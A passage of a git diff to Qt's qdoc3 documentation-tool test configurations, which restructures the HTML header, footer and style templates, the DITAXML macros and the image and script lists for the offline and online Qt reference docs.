"*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" -examples.imageextensions = "*.png" - -exampledirs = $QT_SOURCE_TREE/doc/src \ - $QT_SOURCE_TREE/examples \ - $QT_SOURCE_TREE/examples/tutorials \ - $QT_SOURCE_TREE \ - $QT_SOURCE_TREE/qmake/examples \ - $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QT_SOURCE_TREE/doc/src/images \ - $QT_SOURCE_TREE/examples \ - $QT_SOURCE_TREE/doc/src/declarative/pics \ - $QT_SOURCE_TREE/doc/src/template/images -outputdir = $QT_BUILD_TREE/doc/html -tagfile = $QT_BUILD_TREE/doc/html/qt.tags -base = file:$QT_BUILD_TREE/doc/html - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt-cpp-ignore.qdocconf b/tools/qdoc3/test/qt-cpp-ignore.qdocconf index 5d52a47..044eef4 100644 --- a/tools/qdoc3/test/qt-cpp-ignore.qdocconf +++ b/tools/qdoc3/test/qt-cpp-ignore.qdocconf @@ -71,8 +71,8 @@ Cpp.ignoretokens = QAXFACTORY_EXPORT \ QT_END_INCLUDE_NAMESPACE \ PHONON_EXPORT \ Q_DECLARATIVE_EXPORT \ - Q_GADGET \ - QWEBKIT_EXPORT \ + Q_GADGET \ + QWEBKIT_EXPORT \ Q_INVOKABLE Cpp.ignoredirectives = Q_DECLARE_HANDLE \ Q_DECLARE_INTERFACE \ @@ -93,6 +93,6 @@ Cpp.ignoredirectives = Q_DECLARE_HANDLE \ K_DECLARE_PRIVATE \ PHONON_OBJECT \ PHONON_HEIR \ - Q_PRIVATE_PROPERTY \ - Q_DECLARE_PRIVATE_D \ - Q_CLASSINFO + Q_PRIVATE_PROPERTY \ + Q_DECLARE_PRIVATE_D \ + Q_CLASSINFO diff --git a/tools/qdoc3/test/qt-defines.qdocconf b/tools/qdoc3/test/qt-defines.qdocconf index 51ee0d3..50a355f 100644 --- a/tools/qdoc3/test/qt-defines.qdocconf +++ b/tools/qdoc3/test/qt-defines.qdocconf @@ -3,60 +3,15 @@ defines = Q_QDOC \ QT_.*_LIB \ QT_COMPAT \ QT_KEYPAD_NAVIGATION \ - QT_NO_EGL \ + QT_NO_EGL \ QT3_SUPPORT \ Q_WS_.* \ Q_OS_.* \ Q_BYTE_ORDER \ - QT_DEPRECATED \ + QT_DEPRECATED \ Q_NO_USING_KEYWORD \ __cplusplus versionsym = QT_VERSION_STR codeindent = 1 - -# Files not referenced in any qdoc file (last four needed by qtdemo) -# See also qhp.Qt.extraFiles -extraimages.HTML = qt-logo \ - trolltech-logo \ - bg_l.png \ - bg_l_blank.png \ - bg_ll_blank.png \ - bg_ul_blank.png \ - header_bg.png \ - bg_r.png \ - box_bg.png \ - breadcrumb.png \ - bullet_gt.png \ - bullet_dn.png \ - bullet_sq.png \ - bullet_up.png \ - arrow_down.png \ - feedbackground.png \ - horBar.png \ - page.png \ - page_bg.png \ - sprites-combined.png \ - spinner.gif \ - stylesheet-coffee-plastique.png \ - taskmenuextension-example.png \ - coloreditorfactoryimage.png \ - dynamiclayouts-example.png - -# This stuff is used by the new doc format. -scriptdirs = $QT_SOURCE_TREE/doc/src/template/scripts -styledirs = $QT_SOURCE_TREE/doc/src/template/style - -scripts.HTML = functions.js \ - narrow.js \ - superfish.js \ - jquery.js - -styles.HTML = style.css \ - narrow.css \ - superfish.css \ - superfish_skin.css \ - style_ie6.css \ - style_ie7.css \ - style_ie8.css diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index 66f30e3..211bdb2 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -1,11 +1,49 @@ -include(qt.qdocconf) +include(qt-project.qdocconf) imagedirs = $QTDIR/doc/src/images \ $QTDIR/examples \ - $QTDIR/doc/src/template/images + $QTDIR/doc/src/declarative/pics \ + $QTDIR/doc/src/template/images outputdir = $QTDIR/doc/ditaxml outputformats = DITAXML generateindex = true url = . +macro.aacute.DITAXML = "á" +macro.Aring.DITAXML = "Å" +macro.aring.DITAXML = "å" +macro.Auml.DITAXML = "Ä" +macro.author = "\\bold{Author:}" +macro.br.DITAXML = " " +macro.BR.DITAXML = " " +macro.copyright.DITAXML = "©" +macro.eacute.DITAXML = "é" +macro.gui = "\\bold" +macro.hr.DITAXML = " " +macro.iacute.DITAXML = "í" +macro.key = "\\bold" +macro.menu = "\\bold" +macro.note = "\\bold{Note:}" +macro.oslash.DITAXML = "ø" +macro.ouml.DITAXML = "ö" +macro.QA = "\\e{Qt Assistant}" +macro.QD = "\\e{Qt Designer}" +macro.QL = "\\e{Qt Linguist}" +macro.QQV = "\\e{Qt QML Viewer}" +macro.param = "\\e" +macro.raisedaster.DITAXML = "<sup>*</sup>" +macro.rarrow.DITAXML = "→" +macro.reg.DITAXML = "<sup>®</sup>" +macro.return = "Returns" +macro.starslash = "\\c{*/}" +macro.begincomment = "\\c{/*}" +macro.endcomment = "\\c{*/}" +macro.uuml.DITAXML = "ü" +macro.mdash.DITAXML = "—" + +macro.beginfloatleft.HTML = " " +macro.beginfloatright.HTML = " " +macro.endfloat.HTML = " " +macro.clearfloat.HTML = " " +macro.emptyspan.DITAXML = " " diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf new file mode 100644 index 0000000..d37ef5d --- /dev/null +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -0,0 +1,32 @@ +# Define the location of the templates to use. Style sheets and scripts are +# specified relative to the template directory and will be copied into +# subdirectories of the output directory. + +HTML.templatedir = $QT_SOURCE_TREE/doc/src/template + +HTML.stylesheets = style/offline.css + +HTML.scripts = + +# Files not referenced in any qdoc file (last four needed by qtdemo) +# See also qhp.Qt.extraFiles +extraimages.HTML = qt-logo.png \ + arrow_down.png \ + breadcrumb.png \ + bullet_gt.png \ + bullet_dn.png \ + bullet_sq.png \ + bullet_up.png \ + horBar.png \ + sprites-combined.png + +# Include the style sheets and scripts used. + +HTML.headerstyles = \ + " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/offline.css\" />\n" + +HTML.headerscripts = + +HTML.endheader = \ + "</head>\n" \ + "<body>\n" diff --git a/tools/qdoc3/test/qt-html-online-styles.qdocconf b/tools/qdoc3/test/qt-html-online-styles.qdocconf new file mode 100644 index 0000000..6db3491 --- /dev/null +++ b/tools/qdoc3/test/qt-html-online-styles.qdocconf @@ -0,0 +1,72 @@ +# Define the location of the templates to use. Style sheets and scripts are +# specified relative to the template directory and will be copied into +# subdirectories of the output directory. + +HTML.templatedir = $QT_SOURCE_TREE/doc/src/template + +HTML.stylesheets = style/narrow.css \ + style/style.css \ + style/style_ie6.css \ + style/style_ie7.css \ + style/style_ie8.css \ + style/superfish.css + +# Adding jquery and functions - providing online tools and search features +HTML.scripts = scripts/functions.js \ + scripts/narrow.js \ + scripts/superfish.js \ + scripts/jquery.js + + +# Files not referenced in any qdoc file. +# See also qhp.Qt.extraFiles +extraimages.HTML = qt-logo.png \ + bg_l.png \ + bg_l_blank.png \ + bg_ll_blank.png \ + bg_ul_blank.png \ + header_bg.png \ + bg_r.png \ + box_bg.png \ + breadcrumb.png \ + bullet_gt.png \ + bullet_dn.png \ + bullet_sq.png \ + bullet_up.png \ + arrow_down.png \ + feedbackground.png \ + horBar.png \ + page.png \ + page_bg.png \ + sprites-combined.png \ + spinner.gif + +# Include the style sheets and scripts used. + +HTML.headerstyles = \ + " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/style.css\" />\n" \ + " <script src=\"scripts/jquery.js\" type=\"text/javascript\"></script>\n" \ + " <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n" \ + " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/superfish.css\" />\n" \ + " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/narrow.css\" />\n" \ + " <!--[if IE]>\n" \ + "<meta name=\"MSSmartTagsPreventParsing\" content=\"true\">\n" \ + "<meta http-equiv=\"imagetoolbar\" content=\"no\">\n" \ + "<![endif]-->\n" \ + "<!--[if lt IE 7]>\n" \ + "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie6.css\">\n" \ + "<![endif]-->\n" \ + "<!--[if IE 7]>\n" \ + "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie7.css\">\n" \ + "<![endif]-->\n" \ + "<!--[if IE 8]>\n" \ + "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie8.css\">\n" \ + "<![endif]-->\n\n" + +HTML.headerscripts = \ + "<script src=\"scripts/superfish.js\" type=\"text/javascript\"></script>\n" \ + "<script src=\"scripts/narrow.js\" type=\"text/javascript\"></script>\n\n" + +HTML.endheader = \ + "</head>\n" \ + "<body class=\"\" onload=\"CheckEmptyAndLoadList();\">\n" diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf new file mode 100644 index 0000000..dc84e7d --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -0,0 +1,232 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ + " <div class=\"header\" id=\"qtdocheader\">\n" \ + " <div class=\"content\"> \n" \ + " <div id=\"nav-logo\">\n" \ + " <a href=\"index.html\">Home</a></div>\n" \ + " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \ + " <div id=\"narrowsearch\"></div>\n" \ + " <div id=\"nav-topright\">\n" \ + " <ul>\n" \ + " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \ + " <li class=\"nav-topright-dev\"><a href=\"http://developer.qt.nokia.com/\">DEV</a></li>\n" \ + " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \ + " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \ + " DOC</a></li>\n" \ + " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " <div id=\"shortCut\">\n" \ + " <ul>\n" \ + " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \ + " <li class=\"shortCut-topleft-active\"><a href=\"http://doc.qt.nokia.com\">ALL VERSIONS" \ + " </a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " <ul class=\"sf-menu\" id=\"narrowmenu\"> \n" \ + " <li><a href=\"#\">API Lookup</a> \n" \ + " <ul> \n" \ + " <li><a href=\"classes.html\">Class index</a></li> \n" \ + " <li><a href=\"functions.html\">Function index</a></li> \n" \ + " <li><a href=\"modules.html\">Modules</a></li> \n" \ + " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \ + " <li><a href=\"qtglobal.html\">Global Declarations</a></li> \n" \ + " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " <li><a href=\"#\">Qt Topics</a> \n" \ + " <ul> \n" \ + " <li><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \ + " <li><a href=\"qtquick.html\">Device UIs & Qt Quick</a></li> \n" \ + " <li><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \ + " <li><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \ + " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ + " <li><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \ + " <li><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " <li><a href=\"#\">Examples</a> \n" \ + " <ul> \n" \ + " <li><a href=\"all-examples.html\">Examples</a></li> \n" \ + " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \ + " <li><a href=\"demos.html\">Demos</a></li> \n" \ + " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"wrapper\">\n" \ + " <div class=\"hd\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " <div class=\"bd group\">\n" \ + " <div class=\"sidebar\">\n" \ + " <div class=\"searchlabel\">\n" \ + " Search index:</div>\n" \ + " <div class=\"search\" id=\"sidebarsearch\">\n" \ + " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \ + " <fieldset>\n" \ + " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \ + " <div id=\"resultdialog\"> \n" \ + " <a href=\"#\" id=\"resultclose\">Close</a> \n" \ + " <p id=\"resultlinks\" class=\"all\"><a href=\"#\" id=\"showallresults\">All</a> | <a href=\"#\" id=\"showapiresults\">API</a> | <a href=\"#\" id=\"showarticleresults\">Articles</a> | <a href=\"#\" id=\"showexampleresults\">Examples</a></p> \n" \ + " <p id=\"searchcount\" class=\"all\"><span id=\"resultcount\"></span><span id=\"apicount\"></span><span id=\"articlecount\"></span><span id=\"examplecount\"></span> results:</p> \n" \ + " <ul id=\"resultlist\" class=\"all\"> \n" \ + " </ul> \n" \ + " </div> \n" \ + " </fieldset>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div class=\"box first bottombar\" id=\"lookup\">\n" \ + " <h2 title=\"API Lookup\"><span></span>\n" \ + " API Lookup</h2>\n" \ + " <div id=\"list001\" class=\"list\">\n" \ + " <ul id=\"ul001\" >\n" \ + " <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global Declarations</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"box bottombar\" id=\"topics\">\n" \ + " <h2 title=\"Qt Topics\"><span></span>\n" \ + " Qt Topics</h2>\n" \ + " <div id=\"list002\" class=\"list\">\n" \ + " <ul id=\"ul002\" >\n" \ + " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \ + " <li class=\"defaultLink\"><a href=\"qtquick.html\">Device UIs & Qt Quick</a></li> \n" \ + " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \ + " <li class=\"defaultLink\"><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \ + " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ + " <li class=\"defaultLink\"><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \ + " <li class=\"defaultLink\"><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"box\" id=\"examples\">\n" \ + " <h2 title=\"Examples\"><span></span>\n" \ + " Examples</h2>\n" \ + " <div id=\"list003\" class=\"list\">\n" \ + " <ul id=\"ul003\">\n" \ + " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"wrap\">\n" \ + " <div class=\"toolbar\">\n" \ + " <div class=\"breadcrumb toolblock\">\n" \ + " <ul>\n" \ + " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ + " <!-- Breadcrumbs go here -->\n" + +HTML.postpostheader = \ + " </ul>\n" \ + " </div>\n" \ + " <div class=\"toolbuttons toolblock\">\n" \ + " <ul>\n" \ + " <li id=\"smallA\" class=\"t_button\">A</li>\n" \ + " <li id=\"medA\" class=\"t_button active\">A</li>\n" \ + " <li id=\"bigA\" class=\"t_button\">A</li>\n" \ + " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \ + " <span>Print</span></a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"content mainContent\">\n" + +HTML.footer = \ + " <div class=\"feedback t_button\">\n" \ + " [+] Documentation Feedback</div>\n" \ + " </div>\n" \ + " </div>\n" \ + " </div> \n" \ + " <div class=\"ft\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " </div> \n" \ + " <div class=\"footer\">\n" \ + " <p>\n" \ + " <acronym title=\"Copyright\">©</acronym> 2008-2011 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.</p>\n" \ + " <p>\n" \ + " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ + " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ + " <br />\n" \ + " <p>\n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.</p>\n" \ + " <p>\n" \ + " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ + " Free Documentation License version 1.3</a>\n" \ + " as published by the Free Software Foundation.</p>\n" \ + " </div>\n" \ + " <div id=\"feedbackBox\">\n" \ + " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \ + " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \ + " <p id=\"noteHead\">Thank you for giving your feedback.</p> <p class=\"note\">Make sure it is related to this specific page. For more general bugs and \n" \ + " requests, please use the <a href=\"http://bugreports.qt.nokia.com/secure/Dashboard.jspa\">Qt Bug Tracker</a>.</p>\n" \ + " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\"></textarea></p>\n" \ + " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div id=\"blurpage\">\n" \ + " </div>\n" \ + "\n" \ + " <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n" \ + " <script type=\"text/javascript\">\n" \ + " var _gaq = _gaq || [];\n" \ + " _gaq.push(['_setAccount', 'UA-4457116-5']);\n" \ + " _gaq.push(['_trackPageview']);\n" \ + " (function() {\n" \ + " var ga = document.createElement('script'); " \ + "ga.type = 'text/javascript'; ga.async = true;\n" \ + " ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + " \ + "'.google-analytics.com/ga.js';\n" \ + " var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n" \ + " })();\n" \ + " </script>\n" + + +# Files not referenced in any qdoc file. +# See also extraimages.HTML +qhp.Qt.extraFiles = index.html \ + images/bg_l.png \ + images/bg_l_blank.png \ + images/bg_ll_blank.png \ + images/bg_ul_blank.png \ + images/header_bg.png \ + images/bg_r.png \ + images/box_bg.png \ + images/breadcrumb.png \ + images/bullet_gt.png \ + images/bullet_dn.png \ + images/bullet_sq.png \ + images/bullet_up.png \ + images/arrow_down.png \ + images/feedbackground.png \ + images/horBar.png \ + images/page.png \ + images/page_bg.png \ + images/sprites-combined.png \ + images/spinner.gif \ + scripts/functions.js \ + scripts/jquery.js \ + scripts/narrow.js \ + scripts/superfish.js \ + style/narrow.css \ + style/superfish.css \ + style/style_ie6.css \ + style/style_ie7.css \ + style/style_ie8.css \ + style/style.css diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index f5ca03d..6f756da 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -1,186 +1,54 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css +include(qt-html-default-styles.qdocconf) -HTML.postheader = " <div class=\"header\" id=\"qtdocheader\">\n" \ - " <div class=\"content\"> \n" \ - " <div id=\"nav-logo\">\n" \ - " <a href=\"index.html\">Home</a></div>\n" \ - " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \ - " <div id=\"narrowsearch\"></div>\n" \ - " <div id=\"nav-topright\">\n" \ - " <ul>\n" \ - " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \ - " <li class=\"nav-topright-dev\"><a href=\"http://developer.qt.nokia.com/\">DEV</a></li>\n" \ - " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \ - " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \ - " DOC</a></li>\n" \ - " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " <div id=\"shortCut\">\n" \ - " <ul>\n" \ - " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \ - " <li class=\"shortCut-topleft-active\"><a href=\"http://doc.qt.nokia.com\">ALL VERSIONS" \ - " </a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " <ul class=\"sf-menu\" id=\"narrowmenu\"> \n" \ - " <li><a href=\"#\">API Lookup</a> \n" \ - " <ul> \n" \ - " <li><a href=\"classes.html\">Class index</a></li> \n" \ - " <li><a href=\"functions.html\">Function index</a></li> \n" \ - " <li><a href=\"modules.html\">Modules</a></li> \n" \ - " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \ - " <li><a href=\"qtglobal.html\">Global Declarations</a></li> \n" \ - " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " <li><a href=\"#\">Qt Topics</a> \n" \ - " <ul> \n" \ - " <li><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \ - " <li><a href=\"qtquick.html\">Device UIs & Qt Quick</a></li> \n" \ - " <li><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \ - " <li><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \ - " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ - " <li><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \ - " <li><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " <li><a href=\"#\">Examples</a> \n" \ - " <ul> \n" \ - " <li><a href=\"all-examples.html\">Examples</a></li> \n" \ - " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \ - " <li><a href=\"demos.html\">Demos</a></li> \n" \ - " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"wrapper\">\n" \ - " <div class=\"hd\">\n" \ - " <span></span>\n" \ - " </div>\n" \ - " <div class=\"bd group\">\n" \ - " <div class=\"sidebar\">\n" \ - " <div class=\"searchlabel\">\n" \ - " Search index:</div>\n" \ - " <div class=\"search\" id=\"sidebarsearch\">\n" \ - " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \ - " <fieldset>\n" \ - " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \ - " <div id=\"resultdialog\"> \n" \ - " <a href=\"#\" id=\"resultclose\">Close</a> \n" \ - "<!-- <p id=\"resultlinks\" class=\"all\"><a href=\"#\" id=\"showallresults\">All</a> | <a href=\"#\" id=\"showapiresults\">API</a> | <a href=\"#\" id=\"showarticleresults\">Articles</a> | <a href=\"#\" id=\"showexampleresults\">Examples</a></p> \n" \ - " <p id=\"searchcount\" class=\"all\"><span id=\"resultcount\"></span><span id=\"apicount\"></span><span id=\"articlecount\"></span><span id=\"examplecount\"></span> results:</p> --> \n" \ - " <ul id=\"resultlist\" class=\"all\"> \n" \ - " </ul> \n" \ - " </div> \n" \ - " </fieldset>\n" \ - " </form>\n" \ - " </div>\n" \ - " <div class=\"box first bottombar\" id=\"lookup\">\n" \ - " <h2 title=\"API Lookup\"><span></span>\n" \ - " API Lookup</h2>\n" \ - " <div id=\"list001\" class=\"list\">\n" \ - " <ul id=\"ul001\" >\n" \ - " <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global Declarations</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"box bottombar\" id=\"topics\">\n" \ - " <h2 title=\"Qt Topics\"><span></span>\n" \ - " Qt Topics</h2>\n" \ - " <div id=\"list002\" class=\"list\">\n" \ - " <ul id=\"ul002\" >\n" \ - " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \ - " <li class=\"defaultLink\"><a href=\"qtquick.html\">Device UIs & Qt Quick</a></li> \n" \ - " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \ - " <li class=\"defaultLink\"><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \ - " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ - " <li class=\"defaultLink\"><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \ - " <li class=\"defaultLink\"><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"box\" id=\"examples\">\n" \ - " <h2 title=\"Examples\"><span></span>\n" \ - " Examples</h2>\n" \ - " <div id=\"list003\" class=\"list\">\n" \ - " <ul id=\"ul003\">\n" \ - " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"wrap\">\n" \ - " <div class=\"toolbar\">\n" \ - " <div class=\"breadcrumb toolblock\">\n" \ - " <ul>\n" \ - " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ - " <!-- Bread crumbs goes here -->\n" +HTML.postheader = \ + "<div class=\"header\" id=\"qtdocheader\">\n" \ + " <div class=\"content\"> \n" \ + " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \ + " </div>\n" \ + " <div class=\"breadcrumb toolblock\">\n" \ + " <ul>\n" \ + " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ + " <!-- Breadcrumbs go here -->\n" -HTML.postpostheader = " </ul>\n" \ - " </div>\n" \ - " <div class=\"toolbuttons toolblock\">\n" \ - " <ul>\n" \ - " <li id=\"smallA\" class=\"t_button\">A</li>\n" \ - " <li id=\"medA\" class=\"t_button active\">A</li>\n" \ - " <li id=\"bigA\" class=\"t_button\">A</li>\n" \ - " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \ - " <span>Print</span></a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"content mainContent\">\n" +HTML.postpostheader = \ + " </ul>\n" \ + " </div>\n" \ + "</div>\n" \ + "<div class=\"content mainContent\">\n" -HTML.footer = "" \ - " <div class=\"feedback t_button\">\n" \ - " [+] Documentation Feedback</div>\n" \ - " </div>\n" \ - " </div>\n" \ - " </div> \n" \ - " <div class=\"ft\">\n" \ - " <span></span>\n" \ - " </div>\n" \ - " </div> \n" \ - " <div class=\"footer\">\n" \ - " <p>\n" \ - " <acronym title=\"Copyright\">©</acronym> 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.</p>\n" \ - " <p>\n" \ - " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ - " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ - " <br />\n" \ - " <p>\n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.</p>\n" \ - " <p>\n" \ - " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ - " Free Documentation License version 1.3</a>\n" \ - " as published by the Free Software 